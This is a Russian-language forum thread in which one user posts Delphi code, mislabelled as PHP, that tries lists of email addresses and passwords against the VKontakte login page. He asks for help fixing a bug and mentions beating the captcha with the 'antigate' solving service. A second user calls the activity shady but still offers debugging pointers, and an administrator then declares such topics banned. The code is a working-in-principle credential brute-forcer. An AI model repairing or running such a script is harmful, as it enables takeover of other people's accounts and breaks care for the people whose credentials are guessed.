[Vasa2]

Вот весь исходный код.

А проблема скорээ всего в цикле, всегда показивает, что пароль не подходит, хотя он правильный

PHP код:

var
  emails:TStringList;  // список мыл
  pass:TStringList;    // список паролей
  post:TStringList;    // список полей пост запроса
  i,j:integer;          // счетчики циклов
  http: TidHTTP ;
  result:String;

begin
  emails:=TStringList.Create; pass:=TStringList.Create;  // Инициализируем переменные
      emails.Add('маил@mail.com');
      pass.Add('пароль');
      pass.Add('123456');
      pass.Add('парольдругой');    
       http:=TidHTTP.Create(nil);      // создаем HTTPClient
  http.HandleRedirects:=true;   
  post:=tstringlist.Create;           // этот стринг лист содержит поля e-mail и пароль
  for i:=0 to emails.Count-1 do begin   // перебираем в цикле мыльники
     post.Clear; // отчищаем
   post.Add('email='+emails.Strings[i]); // указываем e-mail
    for j:=0 to pass.Count-1 do begin         // перебираем пароли для выбранного мыльника
    post.Clear; // отчищаем
      post.Add('pass='+pass.Strings[j]);       // указываем пароль
      result:=http.Post('http://vkontakte.ru/login.php',post);  // посылаем запрос
      if pos('logout',result)>0 then  // проверяем ответ
       begin
Memo1.Lines.Add(Pass.Strings[j]+' - подходит') ;
      end
      else
Memo1.Lines.Add(Pass.Strings[j]+' - не подходит');
    end;
  end;
 
  // освободим переменные
  emails.Free;
  pass.Free;
  http.Free;
  post.Free;
end; 


P.S. Про капчу не спрашивайте, уже все сделано, или вводить самому, или воспользоватся сервисом "antigate"

[GriLab]

Vasa2, нехорошими однако делами вы занимаетесь
Насколько я знаю, лучше через ВКонтакте UserAPI делать. Почитайте ВКонтакте в разделе "Разработчикам -> Desktop-приложениия".

P.S. Сравните свой код с данными и найдете ошибку: http://avtuh.ru/2010/05/12/delphi-in...vkontakte.html

[Admin]

Сообщение от Vasa2

Брут для Вконтакте в делфи...

Размещение подобных тем запрещено!
Читаем правила форума!